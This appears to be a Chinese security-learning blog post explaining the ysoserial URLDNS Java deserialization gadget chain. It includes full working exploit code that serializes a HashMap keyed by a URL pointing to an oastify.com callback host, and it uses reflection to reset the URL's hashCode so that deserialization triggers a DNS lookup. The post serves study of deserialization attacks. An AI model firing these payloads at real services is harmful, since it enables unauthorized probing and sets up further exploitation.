学习 Commons-Collections CC6利用链时遇到了 URLDNS链中的逻辑,故先分析 URLDNS链,为 CC6链打下基础。
Ysoserial-URLDNS gadget chain: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashMap = new HashMap<>(); URL url = new URL("http://hcxoqrdokkbqx9mf5x95pixwinoecg05.oastify.com");
Class u = URL.class; Field hashCodeField = u.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url, 2); hashMap.put(url, 1); hashCodeField.set(url, -1); serialize(hashMap); deserialize(); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/URLDNS.txt")); objectOutputStream.writeObject(object); }
public static void deserialize() throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/URLDNS.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
1、HashMap.readObject中调用了 hash方法:

2、HashMap.hash(Object key) 接收 Object key参数调用 key.hashCode():
3、URL类中,URL.hashCode调用了 handler.hashCode:

跟进 handler.hashCode,进入到 URLStreamHandler.hashCode,调用 getHostAddress:

4、根据上述逻辑初步构造利用链代码如下:
1 2 3 4 5 6
| HashMap<URL, Integer> hashMap = new HashMap<>(); URL url = new URL("http://hcxoqrdokkbqx9mf5x95pixwinoecg05.oastify.com"); Class u = URL.class; hashMap.put(url, 1); serialize(hashMap); deserialize();
|
但存在问题,hashMap.put会提前触发 getHostAddress并修改 hashCode的值使反序列化时无法触发 getHostAddress。
因为在 hashMap.put(url, 1)时会提前调用一次 HashMap.hash方法:

从而触发 hashCode方法,在 readObject之前先调用一次 hashCode,触发 dns请求,并且 hashCode的值发生改变,这就意味着 readObject时的 hashCode != -1从而直接 return hashCode,不会触发 dns请求:

由于 URL类中的 hashCode属性为private,故利用反射在 hashMap.put前修改 URL.hashCode的值不为-1,hashMap.put后再改回-1即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| HashMap<URL, Integer> hashMap = new HashMap<>(); URL url = new URL("http://hcxoqrdokkbqx9mf5x95pixwinoecg05.oastify.com"); Class u = URL.class;
Class u = URL.class; Field hashCodeField = u.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url, 2);
hashMap.put(url, 1);
hashCodeField.set(url, -1); serialize(hashMap); deserialize();
|
URLDNS调用链流程图
